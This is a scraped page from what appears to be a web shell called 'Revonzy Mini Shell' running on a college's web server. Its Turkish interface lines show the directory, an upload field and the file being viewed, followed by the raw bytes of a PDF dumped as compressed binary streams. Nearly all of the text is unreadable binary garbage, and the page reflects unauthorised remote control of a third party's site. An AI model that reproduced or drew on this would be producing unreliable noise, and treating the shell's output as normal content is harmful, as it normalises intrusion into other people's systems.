Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/rpcollege.edu.in/docs_pdf/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/rpcollege.edu.in/docs_pdf/QZnQjt72VJ.pdf

%PDF-1.6
%����
80 0 obj
<</Linearized 1/L 3898130/O 82/E 392727/N 6/T 3897715/H [ 528 339]>>
endobj
             
99 0 obj
<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<FD94060FE1843C4FB5D02BDD5A96F59A><6398024F3ACB1845A92D0A0FBDECCAC2>]/Index[80 52]/Info 79 0 R/Length 98/Prev 3897716/Root 81 0 R/Size 132/Type/XRef/W[1 3 1]>>stream
h�bbd```b``�1 ��D����I`�L�������&0,¨���I��t �|oH�lrH�o��L@{�md`b�����|
endstream
endobj
startxref
0
%%EOF
                                
131 0 obj
<</Filter/FlateDecode/I 275/Length 250/S 140/V 248>>stream
h�b```��af`B�O�,X�3�����2��Rb�4��,/e�Աɓ+��̙}��W��L��Ƕ��b2gcF�܎ 	�
@.���h@38R
�� ˂E����0�0T20�2��a�`hv`ba`?�5��Ł���%���lo�ca`�`�j�8~Pg+�<"� �\L�61�j@�'�`�6��! ������ے@�<�u��f��B�
endstream
endobj
81 0 obj
<</AcroForm 100 0 R/Lang(en-GB)/Metadata 28 0 R/Pages 78 0 R/Type/Catalog>>
endobj
82 0 obj
<</Contents[84 0 R 86 0 R 87 0 R 88 0 R 89 0 R 90 0 R 92 0 R 93 0 R]/CropBox[0 0 595.32 841.92]/Group<</CS/DeviceRGB/S/Transparency/Type/Group>>/MediaBox[0 0 595.32 841.92]/Parent 78 0 R/Resources<</Font<</F1 103 0 R/F2 106 0 R/F3 112 0 R/F4 115 0 R/F5 121 0 R/F6 124 0 R/F7 130 0 R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Rotate 0/Tabs/S/Type/Page>>
endobj
83 0 obj
<</Filter/FlateDecode/First 272/Length 1507/N 31/Type/ObjStm>>stream
h��Wmo�6�+��bD�/�Iܬڭh�e�J��;��b��{��;os�~*��<��{�2Z+��6�8iI�`�Z孼�
1�u���+c��(F'b)aX��F�`a��b����:��Udd2^Ȗ�N��y�N@'@���b-#���C=ie�2��a`����*-V��2�)[Gy��b/
��e$��a&Պ�l��e�׾yS�^U���7���3��}����r>�ft?��G�����Z}�߯���e9>
�Շ�E׌?.�{����i�P��?��B߯��];/�#�:�&��f�Tv*���l��:�69�ƫ/�Y_5���n���~��eXNŪ���i��"�XY��𸛶�j.v���U[�޾�娙v����t\���~ZW'+/f�i�t����7̄h��U{�l��n�۲P�[t׫���{0���'"q��ee��O.*��ϸ�(l�<�:/N�6���N�����
깖���<��=z���!G,@+I ��bG]zH/�l?[�+x�9�z�c�8#��Ͳ=�5Ъ�nv0[v����b�:�P
a�sqIj��f����J`���+	���k[�s���pY��@�)�A���
�c�|�9�m⎟��5��Ÿ�Q��J\��������a��|�Ž�r,8���8���@o��`���"�yO���c[�3�؃ۜ*�.��Ų������dZЎ�r�,t���~�;�-p�)���a_�������~/\�>\i�+�Ww�?�v��^����nu��v�����x~Ѿ����i{%p՛4���&Ƌ��l�c ������f��Q�hf�f�+�c�k��@���:��4>Q��
Vknܙ|Zw�%d@6l��.���`e�.������S���.�9-��ɏ�c�ƣ����֟�>��1B�ѳ�o'��u�Z5:�C�~�X֬1��2CA��('��$G)�O�Շu� P.��E6���ڪ�ww`�CWg�?g&����5�'Ǖ�Z=}=�
J�~��D�i^���`~���?��ûЏ�A??]��	 ����ل4�L�P3ńr�-��"f��l�P��	�1�kP��i(�98���&�;��5��ހր��2~3�P43~�fƱ2�Xf
&
Ɛ���™���B��&㗥�Q �g�ޠ��ʾ��6
�_&���kA�C���tB���D��lC��,�(El�}���e����/|��!������U8��s`�9�p�A�廐�i8��t��G|�i�N~��ߣx�_N�&�H�&�R|�ů�z��_���=��vw�˼��7��<��(�E&��ZV�\�?��)����e+A琭̻��C�v`���h�N�4�w�S�?�4�7C�᳻���n��?]r�2}�L�6���\]�w��P8���H���
y���N�a�{)G��)G~ǔ��N9�Rn��a��/?N�����[U0`
endstream
endobj
84 0 obj
<</Filter/FlateDecode/Length 540>>stream
H��TK��0��t��Q5�ȏkضPXXX�v{P��Ɛu;��H�i���k4���7�]��>(���d����e^�R)�KV�m2�^��m�=�Nl
E�t���&@qߓ�,~���&�B>v�od��R��O��t��u���(yC?F�)ԅ�7���MY�{'*~p�N	8Q�� �"�jY�R�3;E	rA�(	V�9C)m���.�HMK�vWO��ʺ��4+�[Sm=}�x#pׇp_H:�>���ѵ!n0I�Bn�ѳ�gN���A��nG��~gk���J�
�iX�tG�aFp���^���{������G�Dm�B�r������Jj����DY�xvg�J�Tv��li��Z���"�nG�Q�6�Rm4��A������TDE�M�$c���׾���}�-��O���Ό�%�3�b؇���h�;�R�R�Q�|!��2%��4��I�#�Z�E��#�K�&�d�	��q/]���J�є-����?�#5���i�6M*�
�����Z�~	0Ȏ4�
endstream
endobj
85 0 obj
<</Filter/FlateDecode/Length 453>>stream
x�}�Ko�0���^��\��DB�J�Ŵ��]�fC#
Nd‚?�=i;dQ$���>ι��n�3�(Ÿ�o�z�δV_��m�8�SgR��q"�m��.y����3�>X.E��^F{OmЏA�b[m;so���:�Y�QDAY�V]���\��9m�k�y7�.�+�6h!�	b��՗�n���I��}J�ܺOh���%�ǯ�؅�GR���)#Ƅ�?����$�J���]|k�k룥B�*�*Pڂ
�$�A+Ж)E�4=�$h�=QYM�X�-Rĭ�`-�7��L�a�pB�,e�9(cJ��
4��5��R�Qd+F�^~+[�,[e�^��&��VSG"���@�x�T@���V�JA�[M��[�b{�SD�[f�d��/T���:�q�q�Etu�P���%�U�������s����n�xyy���tF��>���~g
endstream
endobj
86 0 obj
<</Filter/FlateDecode/Length 439>>stream
H����k�0����Qz��Ò��B֬��+~+{�K3�s����ikhb��$����������r>� ���@A�C�}�r;��*�ߡ��=���%|�Vh9b( R��
��rdl����Oz�T�RiC���z[��N/��z�܁v��Z����Z�
���ӽD%�J]>��<]2h��yH��5l�ѣK�|U���ڌ��`�s+<�:�o2K׮���V�c�j;�O�9���!��� ��O�W�����T���d�	<wr�iꜚ�_�l(�c߫9������\}5�2y�,{��w�䎌�3t�'�ۂ`�t	��g� 4���q{Aĉ�5�o��NX��q�隬�S�;� �K�,�S�;�Ř^ƴ�DT2"�J��r�=P�L��#cp���l�^rX���=v�f\'�EL�G6�ͼy�4�`ox)X
endstream
endobj
87 0 obj
<</Filter/FlateDecode/Length 553>>stream
H��TMo�0���QE�$K��}���o�n�4��ds�����$�Ө���D���f%XVY-�g��,��-S�(�ve1� �N�O�X��?��RT��1=h�������s]�e�,��i��00RV����+�ِۙ�'�d��D:���cG6�7�J�m���os�H��m,龣�Y�������U����|<_ҥ��C]�i��$�a�Q�r%F�P�+Mo��{'���THg�*�dU�c?5�H9���UV��E/�>M_�E�k��.�x��s�+*��� �d��u(��J�<.�d����=�:�l��Z��*�������X�&��9��CY�� �#H@2@�!�Ʋ��{k�hke�St����D�)`��95<21��׵i��m&���f��$�!]vt@��]����Hn�'S��fN��z��g4�?B����������1qz���Y:u�������q��MNϡ4�g7_$$Y�F������۾����aG���g��&ۉ�B�	01t-
endstream
endobj
88 0 obj
<</Filter/FlateDecode/Length 581>>stream
H��SMk�0��|�`���ӂbh�vaaO�[�I��!q��v�����bdK�7Ooffk�-��M�ˆ��վ�����|����� �@&�cNfZJf![��5�R��0�Sߪ���pŔ�t�:Ҿ�x"[4'K��bb�5w��s��H�;���!e��<~
�t)L�,�j�y��\�7q�3}���z��׀:O���3�<lׄ��X���8��8#~E�"Y(�y8\�wA�(��@
������RK��]0F�},Z@��Q��*�	�l����556��F����ͬ��ƚB�o5
���ƞ�S
ǫQ��
Oa�mEe����/�TD�
�/i�
��D�e� O�d�#���M4"�U[5��69O ����kr�Qs�J4�B-�0j�7l�\�c����
�E���� ?��ݷ
JtK8��ϩ�ւ	3啜m�.��1Iwi?�iL�x���$S��0�97�M�2	�0#��U��K#H��~�p�����;���@1���C\�	���.9��$j���R���O��TW#XS�a+
t_➗���C����r�����,�/��EW
endstream
endobj
89 0 obj
<</Filter/FlateDecode/Length 572>>stream
H��TM��0�#�rK����P��ͭۃ���1T���8"h#"	���f�<S_.����3~�|���<�I�,"I�#�s.�D�9����/?!a�����i��4��i0^~'l�rf�2Xc�?P8�`i��x�Wkūr�k[���|�9z0m{z��Ȥ�Z>FWH�J����ܰé��Lʼngy�L�xZ;�#���&w��s{��*
$�v���̯!�5�p����u2\V��4VXܢ,�h���*��s�2C5���eB��w�p�#)�-Jx����#Y�F�`�Lc�i��?⟵�H�S�h�ͬ���c��J�*���W2�붗F�	]ў�9IJ��.#�*�/>���`�q������5<��9��(o(�G���	�T�A0~K�&8�{K����e4��O�̶�m9�qĕN'ͣ��kHjߵ
�z�eB���=�Ҕ�OT��ȭ[�)��㳢�O�)�v�wq�av�o�]��**x
($��.+xa%8o�EJx&ӞUcV�Y�tCcYc��7����]��QJL�V�Z����E]��8}�I�`Z'�/�OF�
endstream
endobj
90 0 obj
<</Filter/FlateDecode/Length 553>>stream
H��T��� �G�?�#Ƙk�^zmnUN�&T���j��3����E+	��̛7>�����o�xQ�NjZW̴�Ԃq]n��/r�5�BAK����RE�)����	
xW�.dm�YQ�@2�@KI���3,@�x���w�"����w1NpÄy
w�pJ�]��m�;ch����1����d�X-�A���t͹�Zm]��Z3ηoX��+�!!��;���=�o�bM�c�i�S�?���M6����U��fzuǦ�p�c"��n�����B�/.�dl��b��m�p?9���
�N:���M�C�.I��6�J`M"���Jy��éNTs�	�#�h&�m��rTřy�mɽ̓��]��*��]��ی�Z���E�0FM�}�ذ�뼳0?a���}�r%%��%����n���+�:oi�-����V���6�gZI�hyp��7JoT�QN&�KE+�P�KI��
��鴄ɲ��L�-���ws��88�t}���wcP���$�j�R�	���Eߘd�,�7���?c�G�
endstream
endobj
91 0 obj
<</Filter/FlateDecode/Length 225>>stream
x�]��j�0��~
�Cq�K{��c�C��l��JfXd�8���d/t0�
���}i�'�7���'�8��-B��'u��y����v2Qi��uN8�4Uנ�E���{r�����!{a�y���qBJP������x5�.ؾu����s|����068���ȆFTu%�@�*�($�Oߨ~�_���x���X��{�����,y�J����C�T>?!oP
endstream
endobj
92 0 obj
<</Filter/FlateDecode/Length 585>>stream
H��T[k�0~�?�Q�Z�Ւ ����=�=�{��1K�.v��w�8M�E0B䣣��'�_�|>[��#?���I$��B��0�m0"?P~e��A#�(S(�u�t�7B.g���gܤY:��2�� �L.��%������cR��Y"�Y��NV|	V�L &2���,�l������J�B"��J}�D��
Ѹ��FR\��3�-�׺��7I@��C�[��s\��eY�ھyE?��9�Ж*>��lSI���E���;��L����FS=�D�͐����JZ`��Á�FK9��܎z{ �Y��|������$Z�o �"pi����:἗�X��p*m�t�@먾QmW�<�$��8��]�j��P�ǩ�|T�t1��0^7���[�u>h�28�y��n:
�d��v������)������L����R@�I�T_���+�¦� �Fmq���b�$6���n����ja���{z%!�M4�w���Q��/Hbq_�r�kxR·]xY��ӧ�^{���;��ц�}��#��.|b��y���K�Ǣ��Gۄہ�
0�^>J
endstream
endobj
93 0 obj
<</Filter/FlateDecode/Length 518>>stream
H��SM��0�G��і��Ƙ�����C{X�=T=��Z%a���o��tCV�"�̛��x\����|�����$�r!Ib-ג��u����R�aO�2��VL�X�b��Z�.RZ����W㫒):���QEÈ���!�%<��]��aI�+Ȫ��#�I����<��������wHI&j���Ɠ��cKE�
J�&�E��0�,�?m�V��7K�@Rח�ȣ��/��^lF����Q���S4�j��3M�]!*�pF��5GZ�`5���e�'eŲx�݈�'
Jiy�����$PÉ$)���:��'��m�[0���K(��{;%@����Sd"�H�����^�Ф�����ʭ�y�"��ƚKX�Sq��@*/i�N�7N+�/��&ᐄ�W����z�%Mov�4�C�ӄ�+1#n�[J)��+¯t�(n�v��o�:~_�0}E���lW8Ma�^6j�����k�Ԙ
s79LV�DM*%��$
endstream
endobj
94 0 obj
<</Filter/FlateDecode/Length 158223/Length1 360528>>stream
x��\TW���}��L�:�Х(�41��0��`ɪ���)�tC4�7�hz1��X��$&kzL���t�v�ؘDS40�s�K���}�s���s�m��w�{B0�	Kk&�/���9kL{ˊKk?9з؂/�XY�Ē'Wl�ּ@�||iYyk�E9 ,|@2~��u���Y�@8x��g��K�o�l
����5��
��ا�kc�⦶��Y�L�p�7/]b.z���r�ym��y�5|�7u�AX��������y�UnpN�ʺs�Z����O��EX��
�]�z�߅����,��5��`��s��<k����㰿��Z���>�����hXܴ��@X
��<��]��Ν���-=��f���ܡ�����ڱ�c�Kp|�ܿ�}nۏ�:f�B>kef��������p���^�|����o�e�#|���/@����a߫�t�#��#䖆�.�[�S�v��r��������T�Nv�|7)2��(��*<*��*A�$Q��(��;���mW՘�`8*�T�	V30/�(��L!H�;6�
��
�Q��`ݩ��S���(�a��{E��e���E*>֎t��6���du��@����!���\<�s�\�D|NZv^S�D\?2*����;��[���?����P_Au��N^WY��>{�2�-p�Ҹ���w�)��8�B�I��}>����uG��4�T_��ھ�����b=T��L�*T>P��r�QW���>�5�|
�}}!\zyX��M}�_�7�N��ם�oKr̦��O���s��L��a�/�}V��.�1����(/���;a,U'_�S�kK���v��ъ�#��3#�+
=�J[~�^�}Uu�&��?���K~�">�3S|ᷝ���#��r��³��^�H��B;&�~{0��E�#�a���2�|>�aG���>�߄{~��������=
�x�+^!6�?NYv�2"��sZȆM��a�
��?ys�E�����{=,Fm�%�_#���>�?^سP�����ݺ^�W���I���!B����rz!QN�w�W�n�����'�����|�rA�`����x�+^�W���x�+��d�}�g
ߔ�5�3���x�+^�W���x�+^�W���	���W���x�+^�W���x�+^�W���x�+^��8������aJ\	����J�
�0��XH�Tȇb���I0ja�m�ΆM�K7��l�4S�)��0����@�*��/�<��M�V̐)��8��*le*�����V�L���0��V[a������<�=<߃
[6ф�$O��4dq鱯ބ��|������r��%�Z��:��f
��OQ<M�At��4�,ha�gz��X"���L����N���`����Jv3��H�$�,���x��*Aɾ���o�ya��	��B5�Q
[ޕ�*�|����Y>��B��K�?��<Wd�I�qB�_%<�
�A���Nj8,���n|5}�l��
;��w�0p�Ϟ5s��:gm���)�'UM�<mB��Ғ�q��±c
��rG�d�m�)��8KltX�A�Ө}}TJ�$
R�,�f���%Y-�<oiBC�0C�ˌ��>.s��f��@�y�y:��1����10&5�\f1���Z�=�����J-�fW����ӒU��0�5�eaJ�.�h.s�/]�U�X��uk�%������Vk0���+�����������n]b|YS�kJu]Y�1&�^�A�ܖKY�R�m���c����){���aNc�����4��%6a�.����R�!ٕd)u%��qNy�+�RZ�J�`c�S�:`.E��b�:8xK�#-Me��0�$��P��|0
86!�/&������kuu��0���=��%4�=�%�N^�z�d�z�%�/UY��a��s̩)}�;������s�p6���R�j�\�RL8��Z֝fG��F��<�u.���d)&4���QS'W��
*qAc�@-������\��XJ�mY��vB��@w�ٸ5�����R��b-�k��n4��g�3Ƹ��zK��z�J�+�v#�(�¹�=��g���1�	F�����a)�z\.9�W�x���a�
{���`F�/��E"�ZRa���!��!Ƥ�w�kK���1Q?�y�%����Fh���x,:�>|9+��x�r�&`3���b��S�u���z�!ǔ:>7ky}+k,��
u�j��9*ϥ�b�x0#��,O6.��/燲�O,6w�X*k�x㖁��WNZi��tyn@^��x�Yʛ,xw)�j�����pt��5.��mX&�tYj���N�[a<�w����85Ϟ�n[S��`kj�v��kj��J��㰬n��v�*p+7�gxKS1�#�w�
i�\*�9���@���4�d���Ids�6.�Ha0�xܖ�[��W�����_\�K����,��,��LPj]j��b��R��E�^Dv%��pc����gRW��)�Pu`d�Eޤ��㩭��g쭏��6���囌g�"�4�ϵ��]����8�Y���'4��l]&�|�߁У\�÷#VjƵ���ƌku��>�wZwF����.����S�
+��^�`ɐ�M���r��ؠ��,F�bg�$�G�l���F3F[����t���d��G�d�+��8P|Zb�F�v�ڰA��i��_��xU}=
^�]:�}�]�uX(*`t�h~_�C�O�f�{`�e9�,|�rK*,v��'4��O�5h��V��g�f���dU�k1�b|m��^��1�$5��o|c�q'���:�����s�U'���|t'�@���
���gKp�����r1
6�
 �vhA]��US�Q��b���Q���'0{�6Tѳ����r"�\>�Y�b8�|d29���Ff!3�d,2i'$��R\�?űT���ʼn�P�*ȩ���!T	��(E�U�Q'�Y��^�z-�~�C�>8�Xl1{dX׌�f�6c�f�a�fP
?��L�=��d���w�ÄCT�-�!|M8H���/��%|I�/�>#|J�'��O��|Q�C�nS���x�m�#�#�Kx��6��E�7	'�A��u�~�k���Bx��
�e�>�K�	/P�ϓ�s�g	��&�%����I������ȸ����(a'���aa;aa+�M�vGf \�-��L�Ä�6pG�#�'�G��%�C��p�N�T�v�&�F�m�[	�P�7S��7n \O���]K��p5�*•���+��uT}-�rB�2��p)��ń�.p��VVVV�#�K8�p6a9aa)�����Ah'�Eh#��#�g�D8���0�0�0��Bh&�!4	�	�3	3�	
�zw�hD�t�4��PK�!L%T�&&�	�����rB��PB(&�#8E�B�X�B!����C�Frل,B&!��NH�!2w�
sv2���B2a!��HH X	���D���:����!��M�"��#!�N#�B��C�H����'��:���!�	�ԦAEF%AA�"A 0�`B?����(��G����n�w��a2"|K���5� �+¿��/	_>'|F���O��������`�#‡�\�����R�{�w	�C�o�C�o�$���~��7j�ujl?�5�_���P�W	�^&�#�Dx��@M?Ox��,���iwH1b/U�3u���Ijl�	����	��R�;��j�jza;au���&tS�.�����C�	�	�w���s�C�K��\���<	q�;x2�Nw�T��`�vr�D.��6r���n!�
���<o"�Hn \������_K��p5
�*�<��pW#֑�Z��.wP�2wP=b�;h�Rw�L�%�����#.����r9߱yп,�+����I�O�>���	ʹh7j7�u�è�>����Q�C��ԻQ�B����Q7�nD�M� �fԛPoD��z��P�E��jԫP��]��
�u�kQ�
?	G`DG� ��r��q�;�o�%���o�v�Y�6B+�L�b�"�BŸcn=G>!��KM�!d����?ߧ�4B�@��	~���i	���K�!��:��J�t�P{Q�D��s��p9�G}�]�wP�F}�M\������8�c��Qw�>�z+.�-�=l5E���o��)8�	�K	��B1�a�A("�Ҕ�	A�@���(
nG�]����	�U��r.��V}*���0�0�0�PE�H�$�F�@� �'����XB
�L�&DL�H��A'��4C	!�
�>ԟP��A����Q�C=�z�[\�oP�F�'�?P?A��#�Q?��݇�ꋨ/�>��골Ϡ>���Ϩ=����@ݎ�
u+���B�x�<�n>
����y���B3a���H�M�E�I�A�Nh ������Z��`�P�RɄQ�$B"!�`%����,A"�����Hj?�ؿ�����5Կ���U�WP_�@�D�X���H�E_�l�T�v��y�sU�
���+��+*W��FĹ+6�x{��s��n>�)�t��>�b�s��eN�2�]Z����P��Y��ҹ����hP�չ�so�������-(_�ye���t2n����/�hwvlnwJ�Y�B��vv��	i�lJ{c��^[��˹wv{HD��=���.�U��l�����ں�uc���U��[�-�����3+;�_�`��=���խ��~`�����?a ΰ�w.�<�9��✻���l��l�5:g�f:gm��akpN��ଷ�9OG�i�Z�ss���V휺��9�6�9	�U�J��͕��l�	�+�S*�x[��L̉�;D�w[�ꨃQ����f�LLMb[�Ha���G��X!��@�����7�o	W��	Q��:@h3�6i��U���M���F�-��d��_�{��-�l��~�����f�����~</�~��r]��1ޮ��uE��:q��9t��r�..��H;Y;[+n�2�֚T��ڣj,����+x|���0=B��Ƃ�����Q��j�+{T���.�)�]l�+��:�\�5.p6L��f�n&�Ժ������׭Sq��TS�7m2�W�V��!�=<
�R�<����cIrG2~���@˒N����ٹ��,�tI>�p��N٩�sv'��h��<7Kv9U��rʙ�o�#;��[72���7"��O;�fϒ�@u@�5�~��|��6�vx���5����.�'�#����xݪX0�dI��7:~I�/T,�����n�9��~�gx<�
�\��P�z��	��o뿦���e��r]��"Z�^����=9</\��r������o1�6h�NXg�9p.����
.�K�RX�a,Va�rX��
XW�Up5\��up=�7�Mp3l�8�
��Ɓ2��
���Ky�p�"�n�����a�����e܎�{�ʽ�m~��ܰ��Q~0�{`<�܉��v�c�8��\٧d��O�I����4<��s�<��%�/�+����!Ͻ
���^�����
xކ��}8����[�����	|����I~��\����~�{>f>p�	p<��w��B7���W���]r��zl�<_�{���!��C��<��7����ۍ��ɣ���P�w��/�7�gV���P��2�\視V�E�f����3,���?��P��X����ã����.E����ux�[��O�/1Ҝ_�+��s(�ρ�^�|��σ�5�'��!�����;�z��{��~�#��?A߰\�q%}Џk�L`"�K��*1S���|��i���ɿI�:�D3Tb8�D{�2_��Y���,�E0#��&ŢY�V>Tb��c�e!r����:�7���e���ˎ�t�Ų�h���T�g`>��d�����S�%l?O���{j+�`��S�G�nq�e/aD���+u&s�&�,X�h�|�b=_+�{���x�d�C�7���:�@���S �w�o�-�
�
&A�nб[�X�g/n+-�IU=�Y��E���(	:��Ȓ�\+V&��
�P�޻��Ǿ�<�>f��o���gy���i��c�5�OP��JK�M�N��dff
�YVK�� ۲rF��Q�4h)x��o�4Y,�Ύ)�IW����@1:J�i�����$F($���Q%�[��N�}Y�iJS#M�Ⱦ�~G�Q�=]*=�[�4��0Ny�N#(|}nM�
�K�[���)����*��zTES�M�juh|Dd<o+��#�9"�Y�`�w�3��n'�y>ݦ�g-=�O&����,a:a~!V�����k<�u:�вQ�M0�Y,Qj]Xb�T��N�Š��B�r
���Y33#z3X�}�̰}�+.ݻ���5��i�m9��<�o��\Bk� ƨ�DK�՚3��B��,b�ԭU��g�Ei��#�J:Sv�-+H�e�zKafAy�A�{��Ή�}�:&��j$e�(�t�!X#����g��½�@�]ɐ��6Z�f{�&8X�g�)�L�S8MD�xoMOW��;_����0���U-�/�7��7'כ���^ܟy�?�ݿ����z�Ғ%&֚m��Ɍ���=%�,�`��<��r�%3�VM�/&55��-���1a����3��K�0��k�JSCJ��*ny|t��hvQY۴���iAJBb�y����,�:c��	�I!�.�������i�W��������?���V��(l��#B�|!l`�a=���6ʳ4�3q(�͒����WV��#"�6�=3����O|�뻧�L�}��_����t�fwߦJ�h����qےq?]�{�}��:��AE�&�gkd���1$��n�,>ĭ��*Wp�N�ZN��-66�^�����S�D�æ;|�j���{rا
̤/y/�z�ɝao/f�_�e0rx���08(
������CP�[�ێ���W��o��n֍���t]Cʴ��A
��/ۮT�k�F���44�~���k~�Q+��F���Fō[v�����XJjN�5T�	���J��R������g��X#3q
�y�(��]5ޠ5phtii�v���#�l�K�j՘x�r�õ��],`�ܦ��1X3O���>C1�6etbu�s�$�Gu�3(#����f2��Ð7֞�i�����W ~�c�0~���,�!c�c��2��Ǔ�ʳ4�����H����� �_/h��h7irR����,Lb����ncB�.N�W+��!��~�3�E�F��"�~4d??3�ߒ7�>��ʏ��Z@� �(`,l�Uؑ௶���XG�2� *wj�C��U���h���yJ�Q����$��c�Ý6���%]���<<�qK�%S�1�v��79a
�՚`			>1��Qbh�� t��z���6Kfrbx����$i��8�-B=:q�5+).��DkEm�-.�����/�f�(�X?�o�Z�Q*5���v]TvBBrM͔��˄�j�V���������#!	VR��㔻�k�&�I�/�����[�J��g�˒�9�����D2����K�;~S��#a�ă@~���<�z�.*#���MOd鶚%�jS�{�ʫ�ږ9s"ŋ��1��yho���U���W�)���;�90�*�w����6�͐��%<�w���wR�A���~p�z�Onu8B���r�#�:t�*��|���+yy����v�&�6��F����А�eM�ZcU���1*ä��'�;FMގ&g'�8��5Ɣ����_�P~qPf��Krks#c5�j�w-�I���8�R$Q�s���qk��&�<V���P(��2���+���V`��3�8��qqZ#����e�A�RwF�WȘ����a��8�"�&D�D!���ང_i�x���z�l|���{����c�(i��mʁ�2x�=L)��x���%u��_�9�uB���ȴ�9�T��un��͘R�R�J�Ѥ����H�OnY�2)�]4��Y!ѱ��Q��Ę�Q�֔��䴱�%�3�ʹ��E��Z"L���cp|�)��;0�Z��s�ձP3p-��G�vk�A0��Kos��]̾�oߤ?�4�sl�ޝ���U�����E�q���߭�S+�ެ��X(�;LI�ڣ�C)P�d��ф��;&��{�#&����7ڪmq���P��C�ЅGO
SL�% ���G�������#�9�KH��I���vO�G}�hP��
3��
�R�*�"|L�-+R�`�eKZS�ݖ���s;�|��t.���A�?E����=U�
��C"TnM�Zu=B�#�V�h���p�v�ƛF�#������,P,~�KOyF�>"�IfZ�������J$z+I���Nύ�H��U���@��MR�
3�
�"j��*?ے��%*��=~x3V���o��%&�����uw	~��o&�nk�.ah���֡W�WA)��U	,�W�����+���-�=̧[5�z���̳zg��k��D��ϿQ�F!�M��^��JJ�b�s�j�	N̋�O)��4�::��{V�!#8������V2fVEF�_�U��U<�"�,o��'�h;�d3�
���3���	�M�}��B�\*�l���]�k��W��mf3�ʿ%1O�a;��E�BzJ[ح:�����?�gh\��_�Ox�SE��הY1=��K*�.۳$�f|n�V�����O�+l�8anaVUn�V�V�w%��"�K׼t隿^1�/4*2=�d
S���.�I7���$���(��*��^t��^����4�_�֤w+h�^�~��&���ׯ�O^��+�]qZ�w1K.�k��
�׽zA�q�S��/���kJ9}5ƕ�TI
�寠ªG|́�@��a~;�V�<��wCt-xu��C;�,�>:�3�
'�KL�A>�Ry����1)�q��u�;eg����ް������ �&Q$�*��EI��-�~V��vb[@
2eَ�ْ�<YO�}�v�w�c��J����;3[�H�r�Ӝ�];���_���+�Q;���%�D.�]D��m����,��V��@�	�X�>��V�|�;����� �s������,��BU�Q��94;��i��
��T��s�.��8�T�]�Fph/H�)�N٥`�V��~6V#
>j�~����@{�pt�A�ht��`p�n�����H@�"�P�T
�4*�`"�� a7O�.P�u�K��܈���S��o�
-�i�|��
E\��,�����w
�ڐJ�=Qr�Y.���"�ݥ�{Vo�=�?�]�����ܵ1�i��8��Uk�_��~N�f�W'	�j�&�H�WJ�G_>��k�W5V�6ʣ"�G2�<R��l�R�Y���Ρ���w��m$��*q��>�9�^jO� ����^�G�w �r��b��gk{���$\��΢'���������R�8K*��Q�0��-���=Zf��v4��
*c��׮���}�	��|����u���6��<�^��F�m���A�@a�!z��~^�!����RY�T
�X�)��.ǡ��C�K���X?��v��#f�*Q�E��@I2�@���͋�"��.V��j"�������zI��NKb�E��YԵ/׬
�Z�p^{����h�&�dS@���?�����w!
��O�]��j��琢+�sS�p/�%|�i�%^�
af#��݆��-��Ѩ;B���
qgwF�n�w�(y��J�SB5(��ևeBkI���JrMZÖ�z�eI�脕�j?��8�V^�)��t�B��oE�1��g�_��v�7����$��X�	��]�����`D�.�^�
�v�"��Y/�j;�R��k� ^��XsST���Ua�&0��a��X�����
��R����_��v�P�1�vGM��Oj�Y/���߉��JL!�'l��	F����O�������NF��ik�Gg<�c�^�{0��*��k��<����ب���*B"&�"�<Po���bcYφƖ�.8Sz��N��ٕ���K3�w,�S��]=K����s����������S��^yz�M��䩕k��O��6���v�@��<G���>P���M#*e3����W�NiK�y��W-.�a�H����s����>�*�6i�F#���o�>ӄL���;엓��L�^l��PDeF���+�v��A�1�Ɯq��y�P�>�T�U���PA�l
�@r8��a(����j���U�so����o#U�
�f�����
g�r�*���r}z _Y=��=���p��kHq�*�3w�tOH��. ���
�����t�C{�́���RVIڣ]��Ym��քG[�?Z_�G���C@���U�#}ة�t���mp"O\D�	RFM\��9�:o�'»�0���g�����	o�

uxz"�}��1\,%����n_{��[�~uo�c��FckRJ��"JB��F��W�_�aM_��g]\i��:��0�V�E�X�I�+�.��+
�u&���6�]Z��lPZ�zw�v�S�m@"�[�.8�9DB�^!PΡ��N�U�z�	s�t=�ʭ*�5�I��X��qL,�m�+/5P��ֿ�ڕ<�A`��ˆ�ĉ�����;O�S�)KӬ{�u3"����ǿu�o��R>?�_��H,V�[){��m�����ޞ��il_=^\����y�-?<�M��q�X���Hr1��Q�uH�n;U$)�mJO��@��m��:]�(h�����˄�ݝ���D��)B�O&r6J�G�=�̖�DS1VjI�tj�����Q)���)5�@�z��(��Kl%1`wLˤf�7�ke�}�tuL��)a}��_\��
Y.=@��Xe�K��3�;d��5ε�j�l�s�dj7��
�1���1�)�8�cĐҵ��c�O��A�<g 1w�i�9leQ��
��aN�A�d��ܔHeh%�����Pc��k7���~̍ݣ�n\�v�1������(�*ЊͨD���ceH�%�7�Ҫ1��0��8119�.t�a�{��%���DQ�w0,���f��i���,�;V�E�G���?�
��AU������]w�_��&zvT�JJE	I�{��yok�ڜ�ԓ�sȕ"�R^���
����B=!��m��i��k��5�5g7�\�M�ڊ��"�^{[��҅<ɣJ�r�� Uc%���e]"Qg�s�PQF�-�J���
���HTyj��b
||�P\�ůhY���;
.��'"�^�&Hf�'6E�K+��)dwM�Ԗ�6�{�
&���u�ڟT���)��ٳ۲�Q-���/�eTt{p�ƒ
���i��Ɲp�G��-�K�ݹ@�W�R����2 ��7@��3��V�"v���߁8��^ؾ�)��2H�"E��d��}�(J��_
���.�AmN�,�"���dR �	�0&�ǎ�pBdl/�����_���g��*Ut�Im�cNWә�6Z&��Ϛ=F��eV�=r�����F�^a���@�>�8sG�������D�r9<�{r�>�:�U�u���'�/b��D�#�$FmE�@)��=H�d�\�� %t�Hn�"V�]�WLsh�^fC̄��~�'
p�#LrR�|�]��s��91;Q�M�a]��xt�7�4/N\'�����M�T�Rk��KZ�j��Nn���X��`Lo��B\�R�S+��,�Y/��X�b}��ZV��}�T��c����ƾ�
__�����WAr)5�^�-gm�W�U�#xCM��#��W�=����a�0���9�2{
��Ȣu�;'
a*Fz�M�T��^G�Y;\�r�E���?�B�=��p�\��E�9�ؑ�Sq۠y�����`��qfD�ɡ���
